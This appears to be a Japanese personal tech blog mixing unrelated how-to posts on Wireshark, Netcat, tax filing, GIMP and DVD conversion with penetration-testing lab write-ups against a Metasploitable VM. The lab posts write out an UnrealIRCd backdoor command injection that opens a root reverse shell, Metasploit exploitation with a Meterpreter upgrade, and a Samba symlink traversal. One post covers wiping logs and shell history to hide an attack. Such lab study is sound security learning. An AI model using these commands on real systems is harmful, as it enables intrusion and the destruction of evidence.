NetworkMiner

NetworkMiner

まず必要なパッケージのインストール

apt-get install libmono-system-windows-forms4.0-cil
apt-get install libmono-system-web4.0-cil
apt-get install libmono-system-net4.0-cil
apt-get install libmono-system-runtime-serialization4.0-cil
apt-get install libmono-system-xml-linq4.0-cil
mono --version

で mono のバージョンを確認

ver 5 より新しいのであれば次に
NetworkMiner のインストール

wget https://www.netresec.com/?download=NetworkMiner -O /tmp/nm.zip

でファイルを取得

sudo unzip /tmp/nm.zip -d /opt/


/opt/以下へ展開

cd /opt/NetworkMiner*

で移動

chmod +x NetworkMiner.exe
chmod -R go+w AssembledFiles/
chmod -R go+w Captures/ 

で権限変更

mono /opt/NetworkMiner_2-5/NetworkMiner.exe 

で起動できる

Wireshark

Wireshark

wireshark 

で起動

キャプチャを開始するには
Capture > Options

これでどのLANアダプターをキャプチャするか選択できる

今回は eth0 にするので
Promiscuous にチェックがあるのを確認
Start をクリック

これでキャプチャが開始される

次にHTTPパケットを観察するので
Firefox を起動し
適当に巡回しておく

このままだとわかりにくいので
http に絞り込み Enter

OCSP も表示されるが
これは公開鍵証明書の失効状態を取得するプロトコル

ほかにもSSDP が表示されることもある

SSDP は
ネットワーク上のUPnPデバイスを検出するためのプロトコル

詳しくは
SSDPとは

を参考に

SSDPを除外したいのなら
http && tcp
とすればOK

もしGETのみ表示したいのなら
http.request.method == “GET”
とすればOK

次にキャプチャフィルター

特定のパケットのみ取得するようになるので
ストレージ圧迫を軽減できるようになる

Capture > Capture Filters …
をクリック

これでフィルターが表示されるので
選択してOKを押せば絞り込みができる

構文で
host IPアドレス
となっているなら
指定したIPアドレスとの送受信をキャプチャ

ip src host IPアドレス
なら
送信元が指定したIPアドレスのパケットのみキャプチャ

port ポート番号
なら
指定したポートの通信をキャプチャ

not icmp
なら
ICMPパケット以外をキャプチャ

tcp dst port ポート番号
なら
宛先ポート番号が指定したポート番号のパケットだけキャプチャ

となる

例えば
HTTP TCP Port(80)
とすると
表示されるものが絞られる

なおキャプチャしたデータは
pcap もしくは
pcapng で保存される

ctrl + s で保存ができる

デフォルトは
pcapng 形式での保存となる

テキストエディタで参照したいのなら
File > Export Packet Disections >
As Plain Text
とするとテキスト形式で出力できる

また1つ1つのパケットをみるより
全体をみるのなら
Analyze > Follow で
TCPやHTTPなどのストリームをみることができる

もし平文で認証データが送信されているのなら
ここで確認ができる

またデータストリームのエクスポートするだけなら
NetworkMiner が便利らしい

インストール方法については
NETRESEC Network Security Blog – Tag : Linux

を参考に

ただし
pcapng は使えないので
pcap 形式で保存する必要がある

ctrl + shift + s で Save as となるので
保存形式を
pcap で保存する

なお
pcap の大きさによってはフリーズするので
その場合
editcap などでファイルを分割する

Netcat による各種通信

Netcat による各種通信

まず Windows10 に Netcat をインストール

インストール方法がわからなかったので
HOW TO INSTALL AND USE NETCAT TOOL

の動画を参考に

https://eternallybored.org/misc/netcat/
からダウンロード

保存したら
右クリック > Extra here
で展開

netcat-1.11
ができるので
これをコピーして

PC > ローカルディスクC > Windows
へ貼り付け

次にローカルディスクCに
Nc フォルダを作成

nctest というテキストファイルを作成し
中身を
Netcat test
として保存

windowsキー + r で
ファイル名を指定して実行を開き

cmd
を入力して

shift + ctrl + Enter
で管理者権限で
コマンドプロンプトを起動

コマンドプロンプトの起動については
Windows 10でコマンドプロンプトを素早く起動する方法

を参考に

cd ..
cd netcat-1.11

でディレクトリを移動

コマンドプロンプトで

nc -lvp 4444 < "C:\\Nc\nctest.txt

を起動

アクセスを許可するをクリック

次に KaliLinux を立ち上げ

nc 192.168.1.166 4444 > ncout

を実行

Windows で

Warning: forward host lookup failed for kali: h_errno 11001: HOST_NOT_FOUND
connect to [192.168.1.166] from kali [192.168.1.134] 47932: HOST_NOT_FOUND

と表示され

これで
KaliLinux にファイルが転送される

ctrl +alt +t で新しい端末を開き

ls ncout 
cat ncout 

でファイルの存在と中身の確認ができる

nc の通信を終了するには
ctrl + c

またテキストファイル以外にバイナリファイルを転送することもできる

今回は KaliLinux の
/bin/sh を windows10 に転送

KaliLinux で

nc -lvp 4444 < /bin/sh

として

Windows10 で
windowsキー + r で
ファイル名を指定して実行を開き

cmd
を入力して

shift + ctrl + Enter
で管理者権限で
コマンドプロンプトを起動

cd ..
cd netcat-1.11
nc 192.168.1.134 4444 > bin_bak

とすると

netcat-1.11
の中に bin_bak が作成される

なお Windows10 のリアルタイム保護により
nc が削除されることがあるため
このときには
nc を再度コピペして行う

次にファイルのリアルタイム監視

nc -lp 9999 >> log.txt

を実行し
TCP サーバーとして動作

-l オプションでリッスンモード
-p オプションはポートの指定

今回は9999番ポートで待受

次に
ctrl + alt + t で新しい端末を起動

tail -f log.txt 

とすると
log.txt の内容をリアルタイム監視できる

tail コマンドについては
tailコマンドについて詳しくまとめました 【Linuxコマンド集】

を参考に

-f オプションでファイルのリアルタイム監視ができる

次にコマンドの記録を行ってみる

ctrl + alt + t で端末を新しい端末を起動

nc コマンドを実行するとき q オプションで
指定した秒数待機してから終了する
今回は1秒

nc コマンドの q オプションについては
マニュアルページセク ション 1: ユーザーコマンド

を参考に

echo "date" | nc -q 1 192.168.1.134 9999

を実行すると
date

log.txt に書き込まれる

nc が終了してしまうので
再度

nc -lp 9999 >> log.txt

を実行し
TCP サーバーとして動作

今度は

date | nc -q 1 192.168.1.134 9999

を実行

すると
Sun 22 Mar 2020 12:57:06 AM JST
というように
date コマンドの結果が
log.txt
ファイルに追記されるのがわかる

療育手帳と確定申告

療育手帳と確定申告

http://www.nta.go.jp/
へアクセス

確定申告特集をクリック

確定申告などの作成はこちら
をクリック

作成開始をクリック

e-Tax で提出
マイナンバーカード方式
をクリック

事前準備セットアップファイルのダウンロード
をクリック

令和元年分事前準備セットアップ
をクリック

ダウンロードした jizenMac.dmgをクリック
なおブラウザ起動していると実行できないので注意

wizen_mac.pkg が出るのでクリック

しかし
悪質なソフトウェアかどうかをAppleでは確認できないため、このソフトウェアは開けません。
となる

以前に似たような事があったので
ctrl を押しながら開くと
なぜか開ける

これでインストールを進めていくと
sakushu というフォルダができるので
ルート証明書のインストール

Finder で
アプリケーション > ユーティリティー >
キーチェーンアクセス

システムをクリックして
ファイル > 読み込む

APCA2root.der
を開く

同様に
OSCA2root.der 
APCA2sub_ocsp.der

も追加しておく

次に safari を起動
safari > 環境設定

機能拡張をクリック

No1 確定申告
No2 確定申告書
e-Tax ソフト
にチェックを入れ
機能拡張を追加をクリック

ここまでできたら
確定申告書作成コーナー
をクリック

これで
OS
Safari
のバージョンが推奨を満たしているなら
正常に適用されてます
と出るので

理容規約に同意して次へ
をクリック

これで作成開始
マイナンバーカードを
IC カードリーダーにセットし

マイナンバーカードの読み取りをクリック

これで
利用者証明用電子証明書のパスワードを入力

次にマイナンバーカード情報の確認へ
をクリック

マイナンバーカードの読み取り
をクリック

券面事項入力補助用暗証番号を入力

情報が正しいなら
次へをクリック

利用者情報の入力で
6桁の納税用確認番号の入力があるので忘れずに

これで送信すると
利用者識別番号が発行される

次へをクリックし

所得税
をクリック

左記以外の所得のある方
をクリック

e-Tax で提出し青色申告しないのなら
そのまま下へスクロールし
入力終了をクリック

給与所得の入力するをクリック

令和元年分 源泉徴収票をもとに
入力していく

次に所得控除の入力

障害者控除の入力をクリック
療育手帳には
A なら特別障害者
B なら特別障害者以外の障害者
となる

私の場合は
療育手帳 B なので
特別障害者以外の障害者

次へ進むをクリック

これであとは
入力終了(次へ)をクリックしていく

特に収入などがないのなら
受取方法の選択になる

通常は銀行になるけど
一部ネットバンクなどは対象外なので注意

次にマイナンバーの入力
家族全員のマイナンバーが必要になる

次にマイナンバーカードの読み取りがあり
ここで
署名用電子証明書暗証番号が必要になる

最後に送信するときにも
マイナンバーカードの読み取りがあり
利用者証明用電子証明書暗証番号
の入力が必要になる

Metasploitable のログ消去

Metasploitable のログ消去

ログの消去、改ざんにより
アタックの隠蔽、追跡逃れの可能性があがる

Linux の場合
ログファイルは
/var/log ディレクトリに格納されていることが多い

/var/log/btmp
ログイン失敗の記録
lastb コマンド で閲覧

/var/log/wtmp
ログイン成功の記録
last コマンドで閲覧

/var/log/lastlog
ユーザの最終ログインの記録
lastlog コマンドで閲覧

/var/faillog
ユーザのログイン失敗回数の記録
faillog コマンドで閲覧

/var/log/tallylog
ユーザのログイン失敗回数の記録
pam_tally2 コマンドで閲覧

これらのログファイルはバイナリファイルなので
内容の閲覧には専用コマンドを使う

ログ消しのために
rm コマンドを使ってもデータが見えなくなるだけで存在する

これは rm コマンドの場合
ファイルの iノードを指すリンクは削除されるけど
i ノードそのものは残っている
ショートカットを消したようなものでアンインストールしていないようなかんじ

完全に削除するには
shred コマンドを使い
3回ランダム情報を書き込み
最後にゼロで上書きしてからファイルを削除する

オプションなどについては
shred – ファイルを完全に削除 – Linuxコマンド

を参考に

sherd -n 3 -zu /var/log/messages

とすれば
-n 3 によりランダム情報を3回書き込み
-z で最後にゼロで上書き
-u で shred 終了後にファイルを削除
となる

ファイルの中身のみ削除するなら

> /var/log/messages

というようにリダイレクトを使う
これでファイルは残るが中身はなくなる

次にコマンド履歴の削除

↑キーを押すとコマンド履歴を出せる

KaliLinux の場合
bash は最新1000のコマンドを記録している

metasploitable の場合を調べるのなら

ssh msfadmin@192.168.1.137

で一度ログインし

echo $HISTSIZE

で調べると 500 であることがわかる

$HISTSIZE で設定されているので

export HISTSIZE=0

とすることで履歴が残らないように設定

> ~/.bash_history 

とすれば履歴の消去ができる

Unreal IRC バックドアへ接続 その2

Unreal IRC バックドアへ接続 その2

Unreal IRC のバックドアに接続するのに
今回は Netcat で行う

Metasploitable に

nmap -sV -O -p- 192.168.1.137

を実行し
ポートスキャンすると

6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd

の結果から
IRCが稼働していることがわかる

ctrl + alt + t で端末を起動

nc -l -v -p 4444


4444ポートで待ち状態にする

使用しているオプションについては
-l
リッスンモード指定になり
インバウンド接続の待受

-v
接続状態に関する情報を表示

-p
ポートの指定

nc コマンドのオプションについては
オンラインソフトを使え! 「第12回 Netcat」

を参考に

オプション一覧について見たいのなら
ncコマンドの使い方

を参考に
ただし、こっちは英語

次に
ctrl + alt + t で端末をもうひとつ起動

nc 192.168.1.137 6667

で接続

ここで指定するIPは Metasploitable のもの

今回の場合なら
Metasploitable
192.168.1.137

KaliLinux
192.168.1.134

となっている

:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Found your hostname (cached)

と表示されるので

AB; nc 192.168.1.134 4444 -e /bin/bash

を実行

AB は ab コマンドで
Apacheで標準に付いている
WEBサーバの性能を計測するためのコマンド

オプションなどについては
Apache Benchでサクッと性能テスト

を参考に

これを実行するとリバースシェルが作成され

最初に

nc -l -v -p 4444

を実行した端末側で

192.168.1.137: inverse host lookup failed: Unknown host
connect to [192.168.1.134] from (UNKNOWN) [192.168.1.137] 60708

の後に root 権限で任意のコマンドが実行できるようになり
リバースシェルを通じ
Metasploitable で実行される

例えば
id コマンドを実行すると

uid=0(root) gid=0(root)

という結果が表示される

Unreal IRC バックドアへ接続

Unreal IRC バックドアへ接続

IRCはチャットなどで使われるサーバー

業務などでの使い方については
業務で使うIRC

を参考に

Metasploitable に

nmap -sV -O -p- 192.168.1.137

を実行し
ポートスキャンすると

6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd

の結果から
IRCが稼働していることがわかる

次にこのUnrealIRC のバージョンを調べる

apt install hexchat -y

でIRCクライアント hexchat をインストール

hexchat 

で hexchat を起動

* Running IRC as root is stupid! You should
create a User Account and use that to login.
と root で IRC にログインするのは
望ましくないと警告されるけど OK をクリック

ダイアログがでるので Add をクリック

Metasploitable2 を入力し
Edit… をクリック

192.168.1.137/6667
というように
Metasploitable のIP / 6667
となるようにして
Close をクリック

これで Connect をクリック

接続成功するとチャンネルに参加するか聞かれるので
Nothing, I’ll join a chanel later
何もしない、」後でチャンネルに参加する
にしてOKをクリック

これで
irc.Metasploitable.LAN Unreal3.2.8.1
というメッセージから
ver 3.2.8.1 ということが確認できる

バージョンの確認ができたら
hextchat は閉じてOK

次に
Exploit Database

unreal irc 3.2.8.1
で検索すると
Metasploit に
Backdoor Command Execution
があることがわかる

msfconsole -q

でロゴなしでMetasploit を起動

search unrealirc

で探すと該当するモジュールがでてくる

use exploit/unix/irc/unreal_ircd_3281_backdoor 
set rhost 192.168.1.137

で使用するexploit と
対象となる Metasploitable のIPをセット

あとは

run

とすることで実行

これでセッションが確立され
id コマンドを実行すると
root 権限になっているのが確認できる

次にシェルを奪ったセッションを残して
Meterpreter に切り替える

ctrl + z で
セッションをバックグラウンドにできる

Background session 1? [y/N]  

となるので
y のあと Enter

show sessions

を実行すると現在のセッションを表示できる

これでバックグラウンドにできたので
Meterpreter セッションを確立させる

use post/multi/manage/shell_to_meterpreter 
set session 1
run


新しいセッションが確立される

show sessions

を実行すると現在のセッションを表示できる

現在


Active sessions
===============

  Id  Name  Type                   Information                                                Connection
  --  ----  ----                   -----------                                                ----------
  1         shell cmd/unix                                                                    192.168.1.134:4444 -> 192.168.1.137:44178 (192.168.1.137)
  2         meterpreter x86/linux  uid=0, gid=0, euid=0, egid=0 @ metasploitable.localdomain  192.168.1.134:4433 -> 192.168.1.137:47848 (192.168.1.137)

となっているので
セッション2に切り替える

sessions -i 2

これで meterpreter に切り替えることができる

なお exit するとセッションが閉じてしまうので
残しておくには
ctrl +z でバックグラウンドにしておく

セッションを閉じるには
sessions コマンドの
-k オプションを使う

sessions -k 1

GIMP で証明写真を作成

GIMP で証明写真を作成

自宅で自撮りして、GIMPで30mm × 40mm の証明写真を作って印刷する

を参考に実践

まずGIMPで画像を開く

次に短形選択をクリック

ダブルクリックすると
ツールオプションがでるので

値を固定にチェックを入れ
縦横比にして
比率を 3:4 にする

これで画像で範囲を指定し
ctrl + c で画像をコピー

ctrl + n で新しい画像の選択がでるので

幅 89.90
高さ 127.00

にして新しい画像を開き
ctrl + y で画像を貼り付け

shift + t で拡大縮小ができるので
単位をミリメートルにし
幅 24
高さ 30
とする

数値は勝手に修正されるが気にせずに

画面が真っ白になるけど
25%まで下げると左上に画像があるのがわかる

これでドラッグ&ドロップで枠の中にいれる

このときに再度拡大縮小の比率がでるので
数値の調整を
24 x 30 に合わせて拡大縮小を押せばOK

これで値を100%に戻し
必要な枚数だけ
ctrl + c でコピー
ctrl +v で貼り付けしていく

なお今ある画像の上に貼り付けされるので
画像をクリックし
中央の円をクリックしながら移動することになる

このときに拡大縮小の設定がでるので
ここでも数値を調整できる

ctrl + p で印刷画面が出せるが
ページ設定で
印刷の用紙サイズでL版がないため
3.5 x 5 in /89 x 127 mm
を選択

画像の設定で
ページ余白を無視するにチェックをいれてから印刷をクリック

これで証明写真の印刷ができる

ディレクトリトラバーサルの実験

ディレクトリトラバーサルの実験

ディレクトリトラバーサル
これは本来アクセスしてほしくないディレクトリや
ファイルの位置を表示させ不正アクセスするというもの

詳しくは

ディレクトリトラバーサルの対策

を参考に

KaliLinux と Metasploitableで実験

nmap -sV -O -p- 192.168.1.137

により

139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

の結果が途中にでてくることから
Samba が稼働しているので
共有サービスがあるのが確認できる

まず
smbclient コマンドで情報を集める

smbclient コマンドについては

を参考に

-L オプションを使うことで利用可能なサービス一覧をみれる

smbclient -L //192.168.1.137

を実行すると

Enter WORKGROUP\root's password: 

となるので Enter

結果は

Anonymous login successful

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	tmp             Disk      oh noes!
	opt             Disk      
	IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
	ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            RASPBERRYPI

となる

この中で怪しいのは

	tmp             Disk      oh noes!

の部分

Sambaには共有フォルダ外へのシンボリックリンクの設定があり
これは
smb.conf の wide links で設定する
この部分が yes なら有効になっているが
最新のものならデフォルトで no になっている

例として
共有ファイルが 777権限で
これにシンボリックリンクがはってあるとき
wide links が yes ならアクセスできるユーザは
誰でも実行できる

Metasploit には
wide links が yes なら
ディレクトリトラバーサルを実現するモジュールがあるので
これを実行

msfconsole -q

でバナー省略で起動

use auxiliary/admin/smb/samba_symlink_traversal 
set rhost 192.168.1.137
set smbshare tmp
exploit 

で実行

set rhost で攻撃対象のIPを指定

set smbshare で 対象とする Sharename を指定

結果として

[*] Running module against 192.168.1.137

[*] 192.168.1.137:445 - Connecting to the server...
[*] 192.168.1.137:445 - Trying to mount writeable share 'tmp'...
[*] 192.168.1.137:445 - Trying to link 'rootfs' to the root filesystem...
[*] 192.168.1.137:445 - Now access the following share to browse the root filesystem:
[*] 192.168.1.137:445 - 	\\192.168.1.137\tmp\rootfs\

[*] Auxiliary module execution completed

により tmp 共有フォルダがマウントされているのがわかる

これで smbclient コマンドで
共有フォルダにアクセスできるようになる

一度

exit

で抜けて

smbclient //192.168.1.137/tmp

というように
//ホスト名/共有名
でアクセスすることができる

Enter WORKGROUP\root's password: 

となるので Enter でOK

これで help コマンドで使用できるコマンドを調べることができる

この状態で

cd rootfs\

とすると rootfs であることがわかる

パスワードファイルの閲覧をするには

cd etc\
more passwd

で閲覧ができる

ただし root 権限ではないので
shadow を閲覧しようとしてもなにも表示されない

moreコマンドについては
【more】Linuxでファイルをページ単位で表示するコマンド

を参考に

more の画面から抜けるには q を押せばOK

次に get コマンドでroot ユーザの ssh 公開鍵のダウンロード

cd \rootfs\root\.ssh
get authorized_keys
exit

これで
KaliLinux のカレントディレクトリにダウンロードされる

これらの原因をみるには一度 metasplotable にログインし
設定を確認

ssh msfadmin@192.168.1.137

で ssh でパスワード認証でログイン

The authenticity of host '192.168.1.137 (192.168.1.137)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? 

となるので
yes を入力

msfadmin@192.168.1.137's password: 

となるので
パスワードは mfsadmin を入力

これでログインできるので

vim /etc/samba/smb.conf 

でファイルを開き
shift + g で最終行に移動

なお vim の操作については
Vim初心者に捧ぐ実践的入門

を参考に

ほかにも vim 使い方で検索するとでてくる

[tmp]
   comment = oh noes!
   read only = no
   locking = no
   path = /tmp
   guest ok = yes

[opt]
   read only = yes
   locking = no
   path = /tmp

となっていて

guest ok = yes
により認証なしの共有フォルダになっているのが原因

UbuntuでDVDをmp4に変換

UbuntuでDVDをmp4に変換

UbuntuでDVDをmp4に変換

を参考に実践

sudo apt install -y dvdbackup libdvdcss2

で必要なパッケージをインストール

sudo add-apt-repository ppa:stebbins/handbrake-releases
sudo apt-get update

でリポジトリ追加と更新

sudo apt-get install handbrake-gtk handbrake-cli


handbrake をインストール

Handbreak を起動

Open Source をクリック

検出DVDデバイスで
/dev/sr0 を選択し
開くをクリック

Presets をクリック

Legacy > Normal
としたら閉じる

Title で変換するタイトルを選べるらしいが
今回は1つしかなかったのでそのままでOK

あとは変換したい範囲のチャプターを選び
開始をクリック
デフォルトだと全チャプターが対象となる

なお、拡張子が .m4v となっているので
mp4 にしたいのなら .mp4 に手動で変更すればOK

m4v と mp4 の違いは
MP4 がISO
M4V は Apple 独自規格

詳しくは
M4V とは何ですか?M4VとMP4の違いは何でしょうか?

を参考に